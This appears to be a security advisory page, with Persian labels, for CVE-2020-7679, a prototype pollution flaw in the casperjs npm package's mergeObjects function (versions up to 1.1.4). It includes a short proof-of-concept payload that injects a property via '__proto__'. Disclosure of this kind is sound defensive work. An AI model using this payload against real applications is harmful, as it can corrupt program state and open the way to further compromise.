نسخههای متأثر
npmcasperjs
- نسخههای متأثر
- <= 1.1.4
- نسخهٔ اصلاحشده
- اعلام نشده
بهرهبرداری
شرح آسیبپذیری
Overview
casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.
PoC
var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"
پیوندها
- https://github.com/advisories/GHSA-vrr3-5r3v-7xfw
- https://github.com/casperjs/casperjs
- https://github.com/casperjs/casperjs/blob/master/modules/utils.js%23L680
- https://nvd.nist.gov/vuln/detail/CVE-2020-7679
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-572804
- https://snyk.io/vuln/SNYK-JS-CASPERJS-572803

